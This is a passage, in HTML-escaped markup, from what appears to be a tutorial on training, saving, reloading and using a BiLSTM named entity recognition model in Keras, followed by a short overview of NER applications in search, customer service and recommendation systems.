&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;out = TimeDistributed(Dense(num_tags, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;activation&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;softmax&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;))(model)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model = Model(input_word, out)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model.summary()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model.compile(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;optimizer&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;adam&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;loss&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;categorical_crossentropy&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;metrics&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=[&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;accuracy&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;early_stopping = EarlyStopping(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;monitor&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;val_loss&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;min_delta&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;patience&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;verbose&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;mode&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;auto&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;baseline&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                               &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;restore_best_weights&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;callbacks = [early_stopping]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;history = model.fit(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    x_train, np.array(y_train),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;validation_split&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0.2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;batch_size&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;epochs&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;verbose&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 10 - Definition of the model architecture and training&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Finally the model is saved on disk, storing every component necessary for future use. Not only the model is saved,
but also all the vocabularies necessary for data transformations.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;11&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;models/bilstm/word2idx.pickle&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;wb&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; handle:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    pickle.dump(word2idx, handle, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;protocol&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=pickle.HIGHEST_PROTOCOL)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;models/bilstm/tag2idx.pickle&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;wb&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; handle:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    pickle.dump(tag2idx, handle, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;protocol&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=pickle.HIGHEST_PROTOCOL)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;models/bilstm/words.pickle&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;wb&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; handle:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    pickle.dump(words, handle, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;protocol&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=pickle.HIGHEST_PROTOCOL)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;models/bilstm/tags.pickle&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;wb&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; handle:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    pickle.dump(tags, handle, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;protocol&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=pickle.HIGHEST_PROTOCOL)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Saving Model Weight&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model.save(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;models/bilstm/bilstm.h5&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 11 - Esempio in formato JSONL&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;To reuse the model just load it specifying the path where it was stored, importing the dictionaries as well.
We also define a function to tokenize text using &lt;strong&gt;nltk&lt;/strong&gt;.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;12&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; nltk&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Custom Tokenizer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;def&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;tokenize&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;): &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; nltk.word_tokenize(s)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;sentence = &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Sharon flew to Miami last friday&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;max_len = &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;400&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# loading dictionaries&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(ROOT_FOLDER + &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;/bilstm_3/word2idx.pickle&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;rb&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; handle:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    word2idx = pickle.load(handle)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(ROOT_FOLDER + &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;/bilstm_3/tag2idx.pickle&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;rb&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; handle:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    tag2idx = pickle.load(handle)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(ROOT_FOLDER + &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;/bilstm_3/words.pickle&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;rb&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; handle:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    words = pickle.load(handle)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(ROOT_FOLDER + &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;/bilstm_3/tags.pickle&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;rb&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; handle:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    tags = pickle.load(handle)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# loading model&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model = load_model(ROOT_FOLDER + &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;/bilstm_3/bilstm_3.h5&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 12 - Loading the model and dictionaries&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;At this point we tokenize the text, pad it to the specified maximum length and input it to the
model, that will return the tag and associated probability for each token.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;13&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Tokenization&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;test_sentence = tokenize(sentence)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Preprocessing&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;x_test_sent = pad_sequences(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;sequences&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=[[word2idx.get(w, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; w &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; test_sentence]],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                            &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;padding&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;post&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(words)-&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;maxlen&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=max_len)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Predicting tags and probabilities&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;p_pred = model.predict(np.array([x_test_sent[&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;]]))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;p = np.argmax(p_pred, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;axis&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=-&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;prediction = []&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Visualization&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; w, pred, probs &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(test_sentence, p[&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;], p_pred[&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;]):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    prediction.append((w, tags[pred], probs[pred]))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 13 - Use of the model for tag prediction&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;As mentioned, use Tensorflow, rather than another Deep Learning library, to train models for this task,
generally, is more complex and requires more knowledge of all the basic aspects of Machine Learning. &lt;br/&gt;
In many cases, tools like Spacy allows you to reach very high levels of performance, but if you can&amp;#x27;t
to achieve noteworthy performance, then tools like Tensorflow can be used to research the neural network and
configuration that best suits your case.&lt;/p&gt;&lt;h2 id=&quot;applications-of-ner&quot;&gt;Applications of NER&lt;/h2&gt;&lt;p&gt;The ability to intelligently and effectively identify entities in the text allows us to tag textual content with those that can
be relevant concepts for the content itself. This translates into the possibility of creating or improving a series of possible applications.&lt;/p&gt;&lt;h4 id=&quot;--research-systems&quot;&gt;🔍  Research systems&lt;/h4&gt;&lt;p&gt;Through the use of NER it is possible to improve both efficiency and effectiveness of the research systems. &lt;br/&gt;
In efficiency, by actually carrying out searches directly on the list of tags or entities associated with the different contents,
instead of doing a full text search. &lt;br/&gt;
In effectiveness, allowing you to carry out targeted searches on certain types of entities. &lt;br/&gt;
For example, if i want to search for documents that refer to a particular person or organization, i can recognize through
the NER these types of entities, and map them on specific fields, actually carrying out a search that filters based on the type of category and
specified value.
Or for example, tag past emails, with people and email addresses, also specifying their context. &lt;br/&gt;
An application of this kind can be very important in an enterprise context, with the aim of searching quickly and effectively,
the contents of a company, of an employee rather than of a customer.&lt;/p&gt;&lt;h4 id=&quot;️--customer-service&quot;&gt;☎️  Customer Service&lt;/h4&gt;&lt;p&gt;The customer care of companies is having to navigate hundreds or thousands of support messages per day.
The ability to tag the different incoming messages and tickets, can greatly speed up the ability to send correctly and quickly
tickets to departments specialized in dealing with the specific type of problem.&lt;/p&gt;&lt;h4 id=&quot;--recommendation-systems&quot;&gt;👀  Recommendation systems&lt;/h4&gt;&lt;p&gt;In recommendation systems it is essential to analyze what a user explores, and in the case of a textual recommendation system,
as can be a news recommendation tool for example, the ability to recognize entities in the text allows to analyze the contents
that the user visits, in order to then recommend similar ones.&lt;/p&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
  .default-dark {
    background-color: #1E1E1E;
    color: #D4D4D4;
  }
  .default-dark .mtk1 { color: #D4D4D4; }
  .default-dark .mtk12 { color: #9CDCFE; }
  .default-dark .mtk8 { color: #CE9178; }
  .default-dark .mtk14 { color: #F44747; }
  .default-dark .mtk7 { color: #B5CEA8; }
  .default-dark .mtk3 { color: #6A9955; }
  .default-dark .mtk15 { color: #C586C0; }
  .default-dark .mtk4 { color: #569CD6; }
  .default-dark .mtk11 { color: #DCDCAA; }
  .default-dark .mtk10 { color: #4EC9B0; }
